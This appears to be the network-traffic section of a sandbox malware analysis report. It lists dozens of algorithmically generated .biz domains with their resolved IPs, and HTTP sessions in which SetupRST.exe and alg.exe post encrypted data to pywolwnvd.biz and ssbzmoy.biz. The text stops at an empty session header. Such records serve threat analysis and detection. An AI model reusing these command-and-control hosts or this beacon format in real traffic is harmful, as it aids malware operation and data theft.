Oct 28, 2024 16:39:38.830363035 CET	192.168.2.8	1.1.1.1	0xdf04	Standard query (0)	lrxdmhrr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:39.964571953 CET	192.168.2.8	1.1.1.1	0x898f	Standard query (0)	wllvnzb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:41.770706892 CET	192.168.2.8	1.1.1.1	0xb910	Standard query (0)	gnqgo.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:42.887456894 CET	192.168.2.8	1.1.1.1	0x92c2	Standard query (0)	jhvzpcfg.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:44.152867079 CET	192.168.2.8	1.1.1.1	0x25d1	Standard query (0)	acwjcqqv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:46.147964001 CET	192.168.2.8	1.1.1.1	0x6f9a	Standard query (0)	lejtdj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:46.157380104 CET	192.168.2.8	1.1.1.1	0x90a5	Standard query (0)	vyome.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:47.568820953 CET	192.168.2.8	1.1.1.1	0x72a3	Standard query (0)	yauexmxk.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:48.741327047 CET	192.168.2.8	1.1.1.1	0x868e	Standard query (0)	iuzpxe.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:50.795017004 CET	192.168.2.8	1.1.1.1	0x4643	Standard query (0)	sxmiywsfv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:52.598718882 CET	192.168.2.8	1.1.1.1	0xacb5	Standard query (0)	vrrazpdh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:53.934787035 CET	192.168.2.8	1.1.1.1	0xcc6a	Standard query (0)	ftxlah.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:55.556829929 CET	192.168.2.8	1.1.1.1	0x508e	Standard query (0)	typgfhb.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:58.469999075 CET	192.168.2.8	1.1.1.1	0x101d	Standard query (0)	esuzf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:59.471599102 CET	192.168.2.8	1.1.1.1	0x6582	Standard query (0)	gvijgjwkh.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:00.157763958 CET	192.168.2.8	1.1.1.1	0xf442	Standard query (0)	qpnczch.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:01.841916084 CET	192.168.2.8	1.1.1.1	0xc2c3	Standard query (0)	brsua.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:02.913731098 CET	192.168.2.8	1.1.1.1	0x405d	Standard query (0)	dlynankz.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:04.276357889 CET	192.168.2.8	1.1.1.1	0x68e9	Standard query (0)	oflybfv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:06.479465961 CET	192.168.2.8	1.1.1.1	0xe7f7	Standard query (0)	yhqqc.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:07.327287912 CET	192.168.2.8	1.1.1.1	0x48fc	Standard query (0)	mnjmhp.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:08.806565046 CET	192.168.2.8	1.1.1.1	0xc4d4	Standard query (0)	opowhhece.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:09.686244965 CET	192.168.2.8	1.1.1.1	0x3db0	Standard query (0)	zjbpaao.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:09.694504976 CET	192.168.2.8	1.1.1.1	0xc54d	Standard query (0)	jdhhbs.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:11.149122953 CET	192.168.2.8	1.1.1.1	0x950e	Standard query (0)	mgmsclkyu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:12.129136086 CET	192.168.2.8	1.1.1.1	0x3909	Standard query (0)	warkcdu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:14.576149940 CET	192.168.2.8	1.1.1.1	0x36a1	Standard query (0)	gcedd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:16.064661026 CET	192.168.2.8	1.1.1.1	0x612a	Standard query (0)	jwkoeoqns.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:16.758908987 CET	192.168.2.8	1.1.1.1	0x9083	Standard query (0)	xccjj.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:17.894377947 CET	192.168.2.8	1.1.1.1	0x2be4	Standard query (0)	hehckyov.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:18.585788012 CET	192.168.2.8	1.1.1.1	0xe45c	Standard query (0)	rynmcq.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:19.631138086 CET	192.168.2.8	1.1.1.1	0x6ce6	Standard query (0)	uaafd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:22.523900986 CET	192.168.2.8	1.1.1.1	0xd36b	Standard query (0)	eufxebus.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:23.970649004 CET	192.168.2.8	1.1.1.1	0x1e2d	Standard query (0)	pwlqfu.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:24.999041080 CET	192.168.2.8	1.1.1.1	0xaa3c	Standard query (0)	rrqafepng.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:26.653614998 CET	192.168.2.8	1.1.1.1	0x18b0	Standard query (0)	ctdtgwag.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:27.725799084 CET	192.168.2.8	1.1.1.1	0x5cf0	Standard query (0)	tnevuluw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:28.600802898 CET	192.168.2.8	1.1.1.1	0xae9	Standard query (0)	whjovd.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:30.484915972 CET	192.168.2.8	1.1.1.1	0xff31	Standard query (0)	gjogvvpsf.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:31.300945997 CET	192.168.2.8	1.1.1.1	0x8b4f	Standard query (0)	reczwga.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:32.000511885 CET	192.168.2.8	1.1.1.1	0x61c1	Standard query (0)	bghjpy.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:33.483831882 CET	192.168.2.8	1.1.1.1	0x8d95	Standard query (0)	damcprvgv.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:34.195281982 CET	192.168.2.8	1.1.1.1	0x7951	Standard query (0)	ocsvqjg.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:36.102741957 CET	192.168.2.8	1.1.1.1	0x59c9	Standard query (0)	ywffr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:37.371499062 CET	192.168.2.8	1.1.1.1	0xe105	Standard query (0)	ecxbwt.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:38.273503065 CET	192.168.2.8	1.1.1.1	0x9468	Standard query (0)	pectx.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:39.146233082 CET	192.168.2.8	1.1.1.1	0xb36	Standard query (0)	zyiexezl.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:39.833501101 CET	192.168.2.8	1.1.1.1	0x37ce	Standard query (0)	banwyw.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:40.518887997 CET	192.168.2.8	1.1.1.1	0x87f3	Standard query (0)	muapr.biz	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:40.528120041 CET	192.168.2.8	1.1.1.1	0xcf5a	Standard query (0)	wxgzshna.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 16:38:35.632529020 CET	1.1.1.1	192.168.2.8	0x384	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:36.954274893 CET	1.1.1.1	192.168.2.8	0x4a9c	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:37.467485905 CET	1.1.1.1	192.168.2.8	0x3950	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:38.831643105 CET	1.1.1.1	192.168.2.8	0x1292	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:38.956789017 CET	1.1.1.1	192.168.2.8	0x921f	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:40.879261017 CET	1.1.1.1	192.168.2.8	0xa60	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:43.564438105 CET	1.1.1.1	192.168.2.8	0xfed0	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:46.396239042 CET	1.1.1.1	192.168.2.8	0xb935	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:47.166904926 CET	1.1.1.1	192.168.2.8	0xf871	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:47.166904926 CET	1.1.1.1	192.168.2.8	0xf871	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:48.613905907 CET	1.1.1.1	192.168.2.8	0xe887	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:48.623876095 CET	1.1.1.1	192.168.2.8	0xcd4f	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.546825886 CET	1.1.1.1	192.168.2.8	0xb62	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.556926012 CET	1.1.1.1	192.168.2.8	0xb2dd	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:38:50.566493988 CET	1.1.1.1	192.168.2.8	0xd4c3	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:01.613068104 CET	1.1.1.1	192.168.2.8	0x500f	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:13.173573017 CET	1.1.1.1	192.168.2.8	0x93eb	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:14.849920034 CET	1.1.1.1	192.168.2.8	0xf8bf	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:16.759262085 CET	1.1.1.1	192.168.2.8	0x257f	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:17.746145964 CET	1.1.1.1	192.168.2.8	0x4ec9	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:20.519270897 CET	1.1.1.1	192.168.2.8	0x1b02	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:20.519270897 CET	1.1.1.1	192.168.2.8	0x1b02	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:22.248040915 CET	1.1.1.1	192.168.2.8	0x32c8	No error (0)	tbjrpv.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:24.323865891 CET	1.1.1.1	192.168.2.8	0x7ca5	No error (0)	deoci.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:25.149418116 CET	1.1.1.1	192.168.2.8	0x4f19	No error (0)	gytujflc.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:26.370997906 CET	1.1.1.1	192.168.2.8	0x1a5e	No error (0)	qaynky.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:28.008661985 CET	1.1.1.1	192.168.2.8	0xd8ba	No error (0)	bumxkqgxu.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:28.897753000 CET	1.1.1.1	192.168.2.8	0x59a	No error (0)	dwrqljrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:30.582102060 CET	1.1.1.1	192.168.2.8	0x35b8	No error (0)	nqwjmb.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:31.538904905 CET	1.1.1.1	192.168.2.8	0x60ad	No error (0)	ytctnunms.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:32.462658882 CET	1.1.1.1	192.168.2.8	0xcd8d	No error (0)	myups.biz		165.160.13.20	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:32.462658882 CET	1.1.1.1	192.168.2.8	0xcd8d	No error (0)	myups.biz		165.160.15.20	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:34.458444118 CET	1.1.1.1	192.168.2.8	0x591d	No error (0)	oshhkdluh.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:35.803240061 CET	1.1.1.1	192.168.2.8	0xf4be	No error (0)	yunalwv.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:37.578777075 CET	1.1.1.1	192.168.2.8	0xd1c1	No error (0)	jpskm.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:38.839607954 CET	1.1.1.1	192.168.2.8	0xdf04	No error (0)	lrxdmhrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:39.979716063 CET	1.1.1.1	192.168.2.8	0x898f	No error (0)	wllvnzb.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:41.780139923 CET	1.1.1.1	192.168.2.8	0xb910	No error (0)	gnqgo.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:42.894908905 CET	1.1.1.1	192.168.2.8	0x92c2	No error (0)	jhvzpcfg.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:44.161766052 CET	1.1.1.1	192.168.2.8	0x25d1	No error (0)	acwjcqqv.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:46.165553093 CET	1.1.1.1	192.168.2.8	0x90a5	No error (0)	vyome.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:47.577027082 CET	1.1.1.1	192.168.2.8	0x72a3	No error (0)	yauexmxk.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:48.934284925 CET	1.1.1.1	192.168.2.8	0x868e	No error (0)	iuzpxe.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:50.802412033 CET	1.1.1.1	192.168.2.8	0x4643	No error (0)	sxmiywsfv.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:52.607842922 CET	1.1.1.1	192.168.2.8	0xacb5	No error (0)	vrrazpdh.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:53.943082094 CET	1.1.1.1	192.168.2.8	0xcc6a	No error (0)	ftxlah.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:55.564856052 CET	1.1.1.1	192.168.2.8	0x508e	No error (0)	typgfhb.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:58.477650881 CET	1.1.1.1	192.168.2.8	0x101d	No error (0)	esuzf.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:39:59.479023933 CET	1.1.1.1	192.168.2.8	0x6582	No error (0)	gvijgjwkh.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:00.166229010 CET	1.1.1.1	192.168.2.8	0xf442	No error (0)	qpnczch.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:01.849934101 CET	1.1.1.1	192.168.2.8	0xc2c3	No error (0)	brsua.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:02.922432899 CET	1.1.1.1	192.168.2.8	0x405d	No error (0)	dlynankz.biz		85.214.228.140	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:04.284714937 CET	1.1.1.1	192.168.2.8	0x68e9	No error (0)	oflybfv.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:06.486985922 CET	1.1.1.1	192.168.2.8	0xe7f7	No error (0)	yhqqc.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:07.335138083 CET	1.1.1.1	192.168.2.8	0x48fc	No error (0)	mnjmhp.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:08.815630913 CET	1.1.1.1	192.168.2.8	0xc4d4	No error (0)	opowhhece.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:09.702172041 CET	1.1.1.1	192.168.2.8	0xc54d	No error (0)	jdhhbs.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:11.158009052 CET	1.1.1.1	192.168.2.8	0x950e	No error (0)	mgmsclkyu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:12.137439013 CET	1.1.1.1	192.168.2.8	0x3909	No error (0)	warkcdu.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:14.584347010 CET	1.1.1.1	192.168.2.8	0x36a1	No error (0)	gcedd.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:16.074039936 CET	1.1.1.1	192.168.2.8	0x612a	No error (0)	jwkoeoqns.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:16.767761946 CET	1.1.1.1	192.168.2.8	0x9083	No error (0)	xccjj.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:17.902841091 CET	1.1.1.1	192.168.2.8	0x2be4	No error (0)	hehckyov.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:18.775278091 CET	1.1.1.1	192.168.2.8	0xe45c	No error (0)	rynmcq.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:19.640245914 CET	1.1.1.1	192.168.2.8	0x6ce6	No error (0)	uaafd.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:22.532258987 CET	1.1.1.1	192.168.2.8	0xd36b	No error (0)	eufxebus.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:23.977989912 CET	1.1.1.1	192.168.2.8	0x1e2d	No error (0)	pwlqfu.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:25.007780075 CET	1.1.1.1	192.168.2.8	0xaa3c	No error (0)	rrqafepng.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:26.852121115 CET	1.1.1.1	192.168.2.8	0x18b0	No error (0)	ctdtgwag.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:27.733830929 CET	1.1.1.1	192.168.2.8	0x5cf0	No error (0)	tnevuluw.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:28.608829975 CET	1.1.1.1	192.168.2.8	0xae9	No error (0)	whjovd.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:30.492822886 CET	1.1.1.1	192.168.2.8	0xff31	No error (0)	gjogvvpsf.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:31.309168100 CET	1.1.1.1	192.168.2.8	0x8b4f	No error (0)	reczwga.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:32.220876932 CET	1.1.1.1	192.168.2.8	0x61c1	No error (0)	bghjpy.biz		34.211.97.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:33.492826939 CET	1.1.1.1	192.168.2.8	0x8d95	No error (0)	damcprvgv.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:34.204009056 CET	1.1.1.1	192.168.2.8	0x7951	No error (0)	ocsvqjg.biz		3.254.94.185	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:36.523449898 CET	1.1.1.1	192.168.2.8	0x59c9	No error (0)	ywffr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:37.379452944 CET	1.1.1.1	192.168.2.8	0xe105	No error (0)	ecxbwt.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:38.282567978 CET	1.1.1.1	192.168.2.8	0x9468	No error (0)	pectx.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:39.154436111 CET	1.1.1.1	192.168.2.8	0xb36	No error (0)	zyiexezl.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:39.842011929 CET	1.1.1.1	192.168.2.8	0x37ce	No error (0)	banwyw.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Oct 28, 2024 16:40:40.536708117 CET	1.1.1.1	192.168.2.8	0xcf5a	No error (0)	wxgzshna.biz		72.52.178.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

fwiwk.biz

tbjrpv.biz

deoci.biz

gytujflc.biz

qaynky.biz

bumxkqgxu.biz

dwrqljrr.biz

nqwjmb.biz

ytctnunms.biz

myups.biz

oshhkdluh.biz

yunalwv.biz

jpskm.biz

lrxdmhrr.biz

wllvnzb.biz

gnqgo.biz

jhvzpcfg.biz

acwjcqqv.biz

vyome.biz

yauexmxk.biz

iuzpxe.biz

sxmiywsfv.biz

vrrazpdh.biz

ftxlah.biz

typgfhb.biz

esuzf.biz

gvijgjwkh.biz

qpnczch.biz

brsua.biz

dlynankz.biz

oflybfv.biz

yhqqc.biz

mnjmhp.biz

opowhhece.biz

jdhhbs.biz

mgmsclkyu.biz

warkcdu.biz

gcedd.biz

jwkoeoqns.biz

xccjj.biz

hehckyov.biz

rynmcq.biz

uaafd.biz

eufxebus.biz

pwlqfu.biz

rrqafepng.biz

ctdtgwag.biz

tnevuluw.biz

whjovd.biz

gjogvvpsf.biz

reczwga.biz

bghjpy.biz

damcprvgv.biz

ocsvqjg.biz

ywffr.biz

ecxbwt.biz

pectx.biz

zyiexezl.biz

banwyw.biz

wxgzshna.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	54.244.188.177	80	2684	C:\Users\user\Desktop\SetupRST.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:35.830209017 CET	354	OUT	POST /uiymjppob HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 792
Oct 28, 2024 16:38:35.830209017 CET	792	OUT	Data Raw: 5d 30 15 bb 79 1b d0 50 0c 03 00 00 c7 fd 35 1d f3 a0 da bb 7e 79 70 23 e0 f5 54 5f 66 3c 7b 82 3a 29 83 9d 56 7c ce d4 a8 c9 f8 dc 54 4c c5 80 d5 5b 49 77 dd d4 6e b9 43 28 a5 2e bb 9e f6 8e 91 7e d8 0a b7 f7 96 70 5e b6 21 a2 30 c3 a4 f4 ca b5 Data Ascii: ]0yP5~yp#T_f<{:)V\|TL[IwnC(.~p^!0{EY8DB4~_{4Ec@b( tqRayw?df=_?V^0X"*X+ZQmwzu,^v$0gf$=I(8[u0I;O)
Oct 28, 2024 16:38:37.413528919 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=596c9eeb33bae99934cb4fc005761932\|155.94.241.188\|1730129917\|1730129917\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	54.244.188.177	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:37.135360003 CET	354	OUT	POST /gvfsthloy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 770
Oct 28, 2024 16:38:37.135376930 CET	770	OUT	Data Raw: 4d 8c 78 2c 54 05 a7 13 f6 02 00 00 09 cb 9a 48 da 80 80 3d b5 b8 2a 13 6d 59 1a 44 c8 c7 ca d4 5c dd fd b0 05 a6 3e 64 19 a7 f4 8a fc 56 4d fb 4d 5c 38 52 aa 7c b4 e7 55 50 71 64 3d 79 68 4a 0e 6d 05 13 85 db f4 bb 2b bd db 3d 98 84 45 28 60 bf Data Ascii: Mx,TH=mYD\>dVMM\8R\|UPqd=yhJm+=E(`DfJ7n[ApD!>lo^f9E-<FC94yUji?X~\|'C:&f \|wjPt=P`B:SwYgi:UJZJm
Oct 28, 2024 16:38:38.782232046 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5881c211ac5d79bcdab77f9417478f20\|155.94.241.188\|1730129918\|1730129918\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	18.141.10.107	80	2684	C:\Users\user\Desktop\SetupRST.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:38:37.491769075 CET	353	OUT	POST /hsnletpxhs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 792
Oct 28, 2024 16:38:37.491769075 CET	792	OUT	Data Raw: 7d bd b4 df 9d 55 4a 43 0c 03 00 00 36 a7 26 33 6e 35 fa 6d 4c 1f a0 83 52 18 e3 c4 69 28 b9 f5 3a 8d fc 85 4e 2b 85 de 82 ed 6f f0 30 be 61 47 25 ef f7 0d f6 4d 6d 0a 85 2c 33 9b a3 c7 37 47 4d 0f 17 95 7c 22 e9 02 22 56 59 89 a6 60 30 ba c7 32 Data Ascii: }UJC6&3n5mLRi(:N+o0aG%Mm,37GM\|""VY`02ST}qA4< pl@_Y=J)v3nx~&ez~lLgE\?(J1D 7s%[Lh8Ry^]hb~olxcIr6IX
Oct 28, 2024 16:38:38.939748049 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Oct 2024 15:38:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6af55b58012ac6df523d51158c13543d\|155.94.241.188\|1730129918\|1730129918\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=155.94.241.188; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	18.141.10.107	80	4568	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
